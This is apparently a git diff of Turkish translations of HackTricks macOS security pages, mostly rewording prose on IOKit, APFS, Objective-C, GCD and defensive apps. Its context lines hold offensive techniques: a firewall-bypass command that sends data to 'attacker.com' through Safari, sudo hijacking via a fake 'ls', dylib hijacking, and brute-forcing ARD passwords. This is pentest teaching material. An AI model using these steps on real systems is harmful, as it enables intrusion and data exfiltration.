PCI gibi bus'lar aracılığıyla bağlı cihazların hiyerarşisini görselleştirmek için kullanılır. -3. **IOPower Düzlemi**: Güç yönetimi açısından nesneleri ve ilişkilerini gösterir. Diğerlerinin güç durumunu etkileyen nesneleri gösterebilir, güçle ilgili sorunları ayıklamak için yararlıdır. +3. **IOPower Düzlemi**: Güç yönetimi açısından nesneleri ve ilişkilerini görüntüler. Diğerlerinin güç durumunu etkileyen nesneleri gösterebilir, güçle ilgili sorunları ayıklamak için faydalıdır. 4. **IOUSB Düzlemi**: Özellikle USB cihazları ve bunların ilişkilerine odaklanır, USB hub'larının ve bağlı cihazların hiyerarşisini gösterir. 5. **IOAudio Düzlemi**: Bu düzlem, ses cihazlarını ve bunların sistem içindeki ilişkilerini temsil etmek için kullanılır. 6. ... @@ -95,7 +95,7 @@ Aşağıdaki kod, IOKit hizmetine `"YourServiceNameHere"` bağlanır ve seçici - Öncelikle **`IOServiceMatching`** ve **`IOServiceGetMatchingServices`** çağrılarak hizmet alınır. - Ardından **`IOServiceOpen`** çağrılarak bir bağlantı kurulur. -- Ve nihayet **`IOConnectCallScalarMethod`** ile seçici 0'ı belirterek bir fonksiyon çağrılır (seçici, çağırmak istediğiniz fonksiyona atanan numaradır). +- Ve nihayetinde, seçici 0'ı belirterek **`IOConnectCallScalarMethod`** ile bir fonksiyon çağrılır (seçici, çağırmak istediğiniz fonksiyona atanan numaradır). ```objectivec #import #import @@ -156,7 +156,7 @@ Diğer **`IOConnectCallScalarMethod`** gibi IOKit fonksiyonlarını çağırmak Bunları örneğin bir [**firmware image (ipsw)**](./#ipsw) üzerinden elde edebilirsiniz. Ardından, bunu en sevdiğiniz dekompilerde yükleyin. -**`externalMethod`** fonksiyonunu decompile etmeye başlayabilirsiniz çünkü bu, çağrıyı alacak ve doğru fonksiyonu çağıracak sürücü fonksiyonudur: +**`externalMethod`** fonksiyonunu tersine mühendislik yapmaya başlayabilirsiniz çünkü bu, çağrıyı alacak ve doğru fonksiyonu çağıracak sürücü fonksiyonudur:
@@ -166,7 +166,7 @@ O korkunç çağrı demagled, şunu ifade eder: ```cpp IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` -Önceki tanımda **`self`** parametresinin atlandığına dikkat edin, iyi bir tanım şöyle olmalıdır: +Önceki tanımda **`self`** parametresinin atlandığını not edin, iyi bir tanım şöyle olmalıdır: ```cpp IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` @@ -176,7 +176,7 @@ IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgu const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount, OSObject * target, void * reference) ``` -Bu bilgilerle Ctrl+Right -> `Edit function signature` yazabilir ve bilinen türleri ayarlayabilirsiniz: +Bu bilgiyle Ctrl+Right -> `Edit function signature` yazabilir ve bilinen türleri ayarlayabilirsiniz:
@@ -184,7 +184,7 @@ Yeni decompile edilmiş kod şöyle görünecek:
-Bir sonraki adımda **`IOExternalMethodDispatch2022`** yapısını tanımlamamız gerekiyor. Bu yapı açık kaynak olarak [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176) adresinde bulunmaktadır, bunu tanımlayabilirsiniz: +Sonraki adımda **`IOExternalMethodDispatch2022`** yapısını tanımlamamız gerekiyor. Bu yapı [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176) adresinde açık kaynak olarak mevcuttur, bunu tanımlayabilirsiniz:
@@ -196,7 +196,7 @@ Veri Türünü **`IOExternalMethodDispatch2022:`** olarak değiştirin:
-değişiklikten sonra: +Değişiklikten sonra:
@@ -209,6 +209,6 @@ Dizi oluşturulduktan sonra, tüm dışa aktarılan fonksiyonları görebilirsin
> [!TIP] -> Hatırlarsanız, kullanıcı alanından bir **dışa aktarılan** fonksiyonu **çağırmak** için fonksiyonun adını değil, **seçici numarasını** çağırmamız gerekiyor. Burada seçici **0** fonksiyonu **`initializeDecoder`**, seçici **1** **`startDecoder`**, seçici **2** **`initializeEncoder`** olduğunu görebilirsiniz... +> Hatırlarsanız, kullanıcı alanından bir **dışa aktarılan** fonksiyonu **çağırmak** için fonksiyonun adını çağırmamıza gerek yoktur, ancak **seçici numarasını** çağırmamız gerekir. Burada seçici **0** fonksiyonu **`initializeDecoder`**, seçici **1** **`startDecoder`**, seçici **2** **`initializeEncoder`** olduğunu görebilirsiniz... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md index ec4be9403..06ba67565 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md @@ -12,10 +12,10 @@ APFS'nin bazı dikkat çekici özellikleri şunlardır: 1. Bu, dosya disklerindeki geleneksel bölümlerle karşılaştırıldığında, **APFS'de farklı bölümlerin (hacimlerin) tüm disk alanını paylaştığı** anlamına gelir; oysa normal bir bölüm genellikle sabit bir boyuta sahipti. 2. **Anlık Görüntüler**: APFS, **okunabilir** olan, dosya sisteminin belirli bir zamandaki anlık görüntülerini **oluşturmayı** destekler. Anlık görüntüler, minimum ek depolama alanı tüketerek verimli yedeklemeler ve kolay sistem geri yüklemeleri sağlar ve hızlı bir şekilde oluşturulabilir veya geri alınabilir. 3. **Klonlar**: APFS, **orijinal dosya veya dizinle aynı depolamayı paylaşan dosya veya dizin klonları oluşturabilir**; bu, ya klon ya da orijinal dosya değiştirilene kadar geçerlidir. Bu özellik, depolama alanını çoğaltmadan dosya veya dizinlerin kopyalarını oluşturmanın verimli bir yolunu sağlar. -4. **Şifreleme**: APFS, **tam disk şifrelemesini** yanı sıra dosya ve dizin başına şifrelemeyi de yerel olarak destekleyerek, farklı kullanım senaryolarında veri güvenliğini artırır. -5. **Çökme Koruması**: APFS, dosya sistemi tutarlılığını sağlamak için **kopyala-yaz metadata şemasını** kullanır; bu, ani güç kaybı veya sistem çökmesi durumlarında veri bozulma riskini azaltır. +4. **Şifreleme**: APFS, **tam disk şifrelemesini** yanı sıra dosya başına ve dizin başına şifrelemeyi de yerel olarak destekleyerek farklı kullanım senaryolarında veri güvenliğini artırır. +5. **Çökme Koruması**: APFS, dosya sistemi tutarlılığını sağlamak için **kopyala-yaz metadata şemasını** kullanır; bu, ani güç kaybı veya sistem çökmesi durumlarında bile veri bozulma riskini azaltır. -Genel olarak, APFS, Apple cihazları için daha modern, esnek ve verimli bir dosya sistemi sunar; geliştirilmiş performans, güvenilirlik ve güvenliğe odaklanmaktadır. +Genel olarak, APFS, Apple cihazları için daha modern, esnek ve verimli bir dosya sistemi sunar; geliştirilmiş performans, güvenilirlik ve güvenlik üzerine odaklanmıştır. ```bash diskutil list # Get overview of the APFS volumes ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md index 308951f85..967be6493 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md @@ -66,7 +66,7 @@ MyVehicle *newVehicle = [MyVehicle new]; ``` ### **Sınıf Yöntemleri** -Sınıf yöntemleri, örnek yöntemleriyle kullanılan eksi işareti (-) yerine **artı işareti** (+) ile tanımlanır. **NSString** sınıf yöntemi **`stringWithString`** gibi: +Sınıf yöntemleri, örnek yöntemleriyle kullanılan **eksi işareti** (-) yerine **artı işareti** (+) ile tanımlanır. **NSString** sınıf yöntemi **`stringWithString`** gibi: ```objectivec + (id)stringWithString:(NSString *)aString; ``` @@ -82,9 +82,9 @@ newVehicle.numberOfWheels = 2; NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels); NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]); ``` -### **Örnek Değişkenleri** +### **Örnek Değişkenler** -Setter ve getter yöntemlerine alternatif olarak örnek değişkenlerini kullanabilirsiniz. Bu değişkenler, özelliklerle aynı isme sahiptir ancak "\_" ile başlar: +Setter ve getter yöntemlerine alternatif olarak, örnek değişkenleri kullanabilirsiniz. Bu değişkenler, özelliklerle aynı isme sahiptir ancak "\_" ile başlar: ```objectivec - (void)makeLongTruck { _numberOfWheels = +10000; @@ -168,7 +168,7 @@ Temel sınıflar **değişmezdir**, bu nedenle mevcut bir dizeye bir dize ekleme ```objectivec NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear]; ``` -Ya da **değiştirilebilir** bir dize sınıfı da kullanabilirsiniz: +Ya da **mutable** bir dize sınıfı da kullanabilirsiniz: ```objectivec NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]; [mutableString appendString:bookTitle]; @@ -244,7 +244,7 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW ``` ### Blocks -Blocks, **nesne gibi davranan fonksiyonlardır** bu nedenle fonksiyonlara geçirilebilir veya **dizilerde** ya da **sözlüklerde** **saklanabilirler**. Ayrıca, **değerler verildiğinde bir değeri temsil edebilirler** bu nedenle lambdalara benzer. +Blocks, **nesne gibi davranan fonksiyonlardır** bu nedenle fonksiyonlara geçirilebilir veya **dizilerde** ya da **sözlüklerde** **saklanabilirler**. Ayrıca, **değerler verildiğinde bir değeri temsil edebilirler** bu nedenle lambdalara benzerdir. ```objectivec returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){ //Perform operations here @@ -304,7 +304,7 @@ if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) { NSLog(@"Removed successfully"); } ``` -Ayrıca dosyaları **`NSString`** nesneleri yerine **`NSURL`** nesneleri kullanarak yönetmek de mümkündür. Metot adları benzer, ancak **`Path`** yerine **`URL`** ile. +Ayrıca dosyaları **`NSString`** nesneleri yerine **`NSURL`** nesneleri kullanarak yönetmek de mümkündür. Metot adları benzerdir, ancak **`Path`** yerine **`URL`** ile birlikte kullanılır. ```objectivec diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index dccebc68c..e014d0c0a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -22,7 +22,7 @@ Aşağıdaki teknikler bazı macOS güvenlik duvarı uygulamalarında çalışı Güvenlik duvarı, **`apple.com`** veya **`icloud.com`** gibi iyi bilinen apple alan adlarına bağlantılara izin veriyor olabilir. Ve iCloud, bir C2 olarak kullanılabilir. -### Genel Aşma +### Genel Bypass Güvenlik duvarlarını aşmayı denemek için bazı fikirler. @@ -63,7 +63,7 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil" ``` ### Süreç enjeksiyonları aracılığıyla -Herhangi bir sunucuya bağlanmasına izin verilen bir **süreç içine kod enjekte edebilirseniz**, güvenlik duvarı korumalarını aşabilirsiniz: +Eğer herhangi bir sunucuya bağlanmasına izin verilen bir **süreç içine kod enjekte edebilirseniz**, güvenlik duvarı korumalarını aşabilirsiniz: {{#ref}} macos-proces-abuse/ diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md index b84991929..fdba3e936 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md @@ -4,12 +4,12 @@ ## Güvenlik Duvarları -- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Her bir süreç tarafından yapılan her bağlantıyı izleyecektir. Moduna bağlı olarak (sessiz izin verilen bağlantılar, sessiz reddedilen bağlantılar ve uyarı) her yeni bağlantı kurulduğunda **size bir uyarı gösterecektir**. Ayrıca bu bilgileri görmek için çok güzel bir GUI'ye sahiptir. +- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Her bir süreç tarafından yapılan her bağlantıyı izleyecektir. Moduna bağlı olarak (sessiz izin verilen bağlantılar, sessiz reddedilen bağlantılar ve uyarı) her yeni bağlantı kurulduğunda **size bir uyarı gösterecektir**. Ayrıca tüm bu bilgileri görmek için çok güzel bir GUI'ye sahiptir. - [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See güvenlik duvarı. Şüpheli bağlantılar için sizi uyaran temel bir güvenlik duvarıdır (bir GUI'si vardır ama Little Snitch'in GUI'si kadar şık değildir). ## Süreklilik tespiti -- [**KnockKnock**](https://objective-see.org/products/knockknock.html): **kötü amaçlı yazılımların kalıcı olabileceği** çeşitli yerlerde arama yapan Objective-See uygulamasıdır (tek seferlik bir araçtır, izleme servisi değildir). +- [**KnockKnock**](https://objective-see.org/products/knockknock.html): **kötü amaçlı yazılımların kalıcı olabileceği** çeşitli yerlerde arama yapan Objective-See uygulamasıdır (tek seferlik bir araçtır, izleme hizmeti değildir). - [**BlockBlock**](https://objective-see.org/products/blockblock.html): Süreklilik oluşturan süreçleri izleyerek KnockKnock gibi çalışır. ## Tuş Kaydedici tespiti diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md index 041e7d349..8ebffbfe6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -125,7 +125,7 @@ Sonunda bunu **ele geçirilmiş konuma** kopyalayın: ```bash cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` -Ve **binary'yi çalıştırın** ve **kütüphanenin yüklendiğini kontrol edin**: +Ve **binary'i çalıştırın** ve **kütüphanenin yüklendiğini kontrol edin**:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
 2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
@@ -133,7 +133,7 @@ Ve **binary'yi çalıştırın** ve **kütüphanenin yüklendiğini kontrol edin
 
> [!NOTE] -> Bu güvenlik açığını kullanarak telegram'ın kamera izinlerini kötüye kullanma hakkında güzel bir yazı [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) adresinde bulunabilir. +> Telegram'ın kamera izinlerini kötüye kullanmak için bu güvenlik açığını nasıl kötüye kullanacağınıza dair güzel bir yazı [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) adresinde bulunabilir. ## Daha Büyük Ölçek diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md index 7821aba23..285f7a9e4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md @@ -6,12 +6,12 @@ **Grand Central Dispatch (GCD),** ayrıca **libdispatch** (`libdispatch.dyld`) olarak da bilinir, hem macOS hem de iOS'ta mevcuttur. Bu, Apple tarafından çok çekirdekli donanımda eşzamanlı (çok iş parçacıklı) yürütme için uygulama desteğini optimize etmek amacıyla geliştirilmiş bir teknolojidir. -**GCD**, uygulamanızın **blok nesneleri** şeklinde **görevler** **gönderebileceği** **FIFO kuyrukları** sağlar ve yönetir. Dağıtım kuyruklarına gönderilen bloklar, sistem tarafından tamamen yönetilen bir **iş parçacığı havuzunda** **yürütülür**. GCD, dağıtım kuyruklarındaki görevleri yürütmek için otomatik olarak iş parçacıkları oluşturur ve bu görevleri mevcut çekirdeklerde çalışacak şekilde planlar. +**GCD**, uygulamanızın **blok nesneleri** şeklinde **görevler** **gönderebileceği** **FIFO kuyrukları** sağlar ve yönetir. Dağıtım kuyruklarına gönderilen bloklar, sistem tarafından tamamen yönetilen bir **iş parçacığı havuzunda** **yürütülür**. GCD, dağıtım kuyruklarındaki görevleri yürütmek için otomatik olarak iş parçacıkları oluşturur ve bu görevlerin mevcut çekirdeklerde çalışmasını planlar. > [!TIP] -> Özetle, kodu **paralel** olarak yürütmek için, süreçler **GCD'ye kod blokları gönderebilir**, bu da yürütmelerini üstlenir. Bu nedenle, süreçler yeni iş parçacıkları oluşturmaz; **GCD verilen kodu kendi iş parçacığı havuzuyla yürütür** (gerekirse artabilir veya azalabilir). +> Özetle, **paralel** kod yürütmek için, süreçler **GCD'ye kod blokları gönderebilir**, bu da yürütmelerini üstlenir. Bu nedenle, süreçler yeni iş parçacıkları oluşturmaz; **GCD verilen kodu kendi iş parçacığı havuzuyla yürütür** (gerekirse artabilir veya azalabilir). -Bu, paralel yürütmeyi başarılı bir şekilde yönetmek için çok yardımcıdır, süreçlerin oluşturduğu iş parçacığı sayısını büyük ölçüde azaltır ve paralel yürütmeyi optimize eder. Bu, **büyük paralellik** (brute-forcing?) gerektiren görevler veya ana iş parçacığını engellemeyen görevler için idealdir: Örneğin, iOS'taki ana iş parçacığı UI etkileşimlerini yönetir, bu nedenle uygulamanın donmasına neden olabilecek herhangi bir diğer işlev (arama, web erişimi, dosya okuma...) bu şekilde yönetilir. +Bu, paralel yürütmeyi başarılı bir şekilde yönetmek için çok yardımcıdır, süreçlerin oluşturduğu iş parçacığı sayısını büyük ölçüde azaltır ve paralel yürütmeyi optimize eder. Bu, **büyük paralellik** gerektiren görevler (brute-forcing?) veya ana iş parçacığını engellemeyen görevler için idealdir: Örneğin, iOS'taki ana iş parçacığı UI etkileşimlerini yönetir, bu nedenle uygulamanın donmasına neden olabilecek herhangi bir diğer işlev (arama, web erişimi, dosya okuma...) bu şekilde yönetilir. ### Bloklar @@ -21,23 +21,23 @@ Ancak, derleyici seviyesinde bloklar mevcut değildir, bunlar `os_object`lerdir. - **blok literal**: - Blok sınıfına işaret eden **`isa`** alanıyla başlar: - `NSConcreteGlobalBlock` ( `__DATA.__const`'dan bloklar) -- `NSConcreteMallocBlock` (heap'teki bloklar) -- `NSConcreateStackBlock` (stack'teki bloklar) -- **`flags`** (blok tanımlayıcısında mevcut alanları gösterir) ve bazı ayrılmış baytlar +- `NSConcreteMallocBlock` (yığın içindeki bloklar) +- `NSConcreateStackBlock` (yığın içindeki bloklar) +- **`flags`** (blok tanımında mevcut alanları gösterir) ve bazı ayrılmış baytlar - Çağrılacak fonksiyon işaretçisi -- Blok tanımlayıcısına işaretçi +- Blok tanımına işaretçi - İçe aktarılan blok değişkenleri (varsa) -- **blok tanımlayıcısı**: Boyutu mevcut veriye bağlıdır (önceki bayraklarda belirtildiği gibi) +- **blok tanımı**: Boyutu mevcut veriye bağlıdır (önceki bayraklarda belirtildiği gibi) - Bazı ayrılmış baytlar içerir - Boyutu -- Genellikle parametreler için ne kadar alan gerektiğini bilmek için bir Objective-C tarzı imzaya işaretçi içerir (bayrak `BLOCK_HAS_SIGNATURE`) -- Değişkenler referans alınıyorsa, bu blok ayrıca bir kopyalama yardımcı programına (değeri başta kopyalama) ve bir serbest bırakma yardımcı programına (serbest bırakma) işaretçiler içerir. +- Genellikle parametreler için ne kadar alan gerektiğini bilmek için bir Objective-C tarzı imzasına işaretçi içerir (bayrak `BLOCK_HAS_SIGNATURE`) +- Değişkenler referans alındığında, bu blok ayrıca bir kopyalama yardımcı programına (değeri başta kopyalama) ve serbest bırakma yardımcı programına (serbest bırakma) işaretçiler içerir. ### Kuyruklar Bir dağıtım kuyruğu, yürütme için blokların FIFO sıralamasını sağlayan adlandırılmış bir nesnedir. -Bloklar, yürütülmek üzere kuyruklara yerleştirilir ve bu kuyruklar 2 mod destekler: `DISPATCH_QUEUE_SERIAL` ve `DISPATCH_QUEUE_CONCURRENT`. Elbette **seri** olan **yarış durumu** sorunları yaşamayacaktır çünkü bir blok, önceki blok bitene kadar yürütülmeyecektir. Ancak **diğer türdeki kuyruk bu durumu yaşayabilir**. +Bloklar, yürütülmek üzere kuyruklara yerleştirilir ve bunlar 2 mod destekler: `DISPATCH_QUEUE_SERIAL` ve `DISPATCH_QUEUE_CONCURRENT`. Elbette **seri** olan **yarış durumu** sorunları yaşamayacaktır çünkü bir blok, önceki blok bitene kadar yürütülmeyecektir. Ancak **diğer türdeki kuyrukta bu sorun olabilir**. Varsayılan kuyruklar: @@ -57,11 +57,11 @@ Varsayılan kuyruklar: - `.root.user-interactive-qos`: En yüksek öncelik - `.root.background-qos.overcommit` -Her zaman **hangi iş parçacıklarının hangi kuyrukları yöneteceğine** sistemin karar vereceğini unutmayın (birden fazla iş parçacığı aynı kuyrukta çalışabilir veya aynı iş parçacığı bir noktada farklı kuyruklarda çalışabilir). +Her zaman **hangi iş parçacıklarının hangi kuyrukları yöneteceğine** sistemin karar vereceğini unutmayın (birden fazla iş parçacığı aynı kuyrukta çalışabilir veya aynı iş parçacığı farklı kuyruklarda bir noktada çalışabilir). #### Özellikler -Bir kuyruk oluştururken **`dispatch_queue_create`** ile üçüncü argüman bir `dispatch_queue_attr_t`'dir, bu genellikle ya `DISPATCH_QUEUE_SERIAL` (aslında NULL'dur) ya da kuyruk parametrelerini kontrol etmeye olanak tanıyan bir `dispatch_queue_attr_t` yapısına işaret eden `DISPATCH_QUEUE_CONCURRENT`'dır. +**`dispatch_queue_create`** ile bir kuyruk oluştururken üçüncü argüman bir `dispatch_queue_attr_t`'dir, bu genellikle ya `DISPATCH_QUEUE_SERIAL` (aslında NULL'dur) ya da bazı kuyruk parametrelerini kontrol etmeye olanak tanıyan bir `dispatch_queue_attr_t` yapısına işaret eden `DISPATCH_QUEUE_CONCURRENT`'dır. ### Dağıtım nesneleri @@ -70,7 +70,7 @@ libdispatch'in kullandığı birkaç nesne vardır ve kuyruklar ile bloklar bunl - `block` - `data`: Veri blokları - `group`: Blok grubu -- `io`: Asenkron I/O istekleri +- `io`: Asenkron G/Ç talepleri - `mach`: Mach portları - `mach_msg`: Mach mesajları - `pthread_root_queue`: Bir pthread iş parçacığı havuzuna sahip bir kuyruk ve iş kuyrukları değil @@ -82,10 +82,10 @@ libdispatch'in kullandığı birkaç nesne vardır ve kuyruklar ile bloklar bunl Objective-C'de bir bloğu paralel olarak yürütmek için gönderme işlevleri vardır: -- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Bir dağıtım kuyruğunda asenkron yürütme için bir blok gönderir ve hemen döner. -- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Yürütme için bir blok nesnesi gönderir ve o blok yürütmeyi bitirdikten sonra döner. +- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Bir bloğu asenkron yürütme için bir dağıtım kuyruğuna gönderir ve hemen döner. +- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Bir blok nesnesini yürütme için gönderir ve o blok yürütmeyi bitirdikten sonra döner. - [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Bir blok nesnesini yalnızca bir kez uygulamanın ömrü boyunca yürütür. -- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Yürütme için bir iş öğesi gönderir ve yalnızca yürütmeyi bitirdikten sonra döner. [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync) ile karşılaştırıldığında, bu işlev blok yürütüldüğünde kuyruk özelliklerinin tümüne saygı gösterir. +- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Bir iş öğesini yürütme için gönderir ve yalnızca yürütmeyi bitirdikten sonra döner. [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync) ile karşılaştırıldığında, bu işlev bloğu yürütürken kuyruğun tüm özelliklerine saygı gösterir. Bu işlevler şu parametreleri bekler: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`** @@ -132,8 +132,8 @@ return 0; ``` ## Swift -**`libswiftDispatch`**, Grand Central Dispatch (GCD) çerçevesine **Swift bağlamaları** sağlayan bir kütüphanedir ve başlangıçta C dilinde yazılmıştır.\ -**`libswiftDispatch`** kütüphanesi, C GCD API'lerini daha Swift dostu bir arayüzde sararak, Swift geliştiricilerinin GCD ile çalışmasını daha kolay ve sezgisel hale getirir. +**`libswiftDispatch`**, C dilinde yazılmış olan Grand Central Dispatch (GCD) çerçevesine **Swift bağlamaları** sağlayan bir kütüphanedir.\ +**`libswiftDispatch`** kütüphanesi, C GCD API'lerini daha Swift dostu bir arayüzle sararak, Swift geliştiricilerinin GCD ile çalışmasını daha kolay ve sezgisel hale getirir. - **`DispatchQueue.global().sync{ ... }`** - **`DispatchQueue.global().async{ ... }`** diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index 1b064e7e3..dd06c7477 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -12,7 +12,7 @@ macos-security-protections/macos-tcc/ ## Linux Privesc -Lütfen **yetki yükseltme ile ilgili çoğu numaranın Linux/Unix'i etkilediği gibi MacOS** makinelerini de etkileyeceğini unutmayın. Bu yüzden bakın: +Lütfen unutmayın ki **Linux/Unix üzerinde yetki yükseltme ile ilgili olan çoğu hile, MacOS** makinelerini de etkileyecektir. Bu yüzden bakın: {{#ref}} ../../linux-hardening/privilege-escalation/ @@ -24,7 +24,7 @@ Lütfen **yetki yükseltme ile ilgili çoğu numaranın Linux/Unix'i etkilediği Orijinal [Sudo Ele Geçirme tekniğini Linux Yetki Yükseltme yazısında bulabilirsiniz](../../linux-hardening/privilege-escalation/#sudo-hijacking). -Ancak, macOS **kullanıcının** **`PATH`**'ini **`sudo`** komutunu çalıştırdığında **korur**. Bu da, bu saldırıyı gerçekleştirmenin başka bir yolunun, mağdurun **sudo çalıştırırken** hala çalıştıracağı **diğer ikili dosyaları ele geçirmek** olacağı anlamına gelir: +Ancak, macOS **kullanıcının** **`PATH`**'ini **`sudo`** komutunu çalıştırdığında **korur**. Bu da, bu saldırıyı gerçekleştirmenin başka bir yolunun, mağdurun **sudo** çalıştırırken hala çalıştıracağı **diğer ikili dosyaları ele geçirmek** olacağı anlamına gelir: ```bash # Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH cat > /opt/homebrew/bin/ls < `Paylaşım` bölümünden etkinleştirebilir/devre dışı bırakabilirsiniz. - **VNC**, “Ekran Paylaşımı” olarak bilinir (tcp:5900) @@ -24,33 +24,33 @@ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharin ``` ### Pentesting ARD -Apple Remote Desktop (ARD), macOS için özel olarak tasarlanmış, ek özellikler sunan [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) 'nin geliştirilmiş bir versiyonudur. ARD'deki dikkat çekici bir zafiyet, kontrol ekranı şifresi için kullanılan kimlik doğrulama yöntemidir; bu yöntem yalnızca şifrenin ilk 8 karakterini kullanır, bu da onu [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) gibi Hydra veya [GoRedShell](https://github.com/ahhh/GoRedShell/) gibi araçlarla saldırılara karşı savunmasız hale getirir, çünkü varsayılan hız sınırlamaları yoktur. +Apple Remote Desktop (ARD), macOS için özel olarak tasarlanmış, ek özellikler sunan [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) 'nin geliştirilmiş bir versiyonudur. ARD'deki dikkat çekici bir zafiyet, kontrol ekranı şifresi için kimlik doğrulama yöntemidir; bu yöntem yalnızca şifrenin ilk 8 karakterini kullanır, bu da onu [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) gibi Hydra veya [GoRedShell](https://github.com/ahhh/GoRedShell/) gibi araçlarla saldırılara karşı savunmasız hale getirir, çünkü varsayılan hız sınırlamaları yoktur. -Zayıf noktaları olan örnekler, **nmap**'in `vnc-info` betiği kullanılarak tespit edilebilir. `VNC Authentication (2)`'yi destekleyen hizmetler, 8 karakterli şifre kısaltması nedeniyle brute force saldırılarına özellikle açıktır. +Zayıf örnekler, **nmap**'in `vnc-info` betiği kullanılarak tanımlanabilir. `VNC Authentication (2)`'yi destekleyen hizmetler, 8 karakterli şifre kısaltması 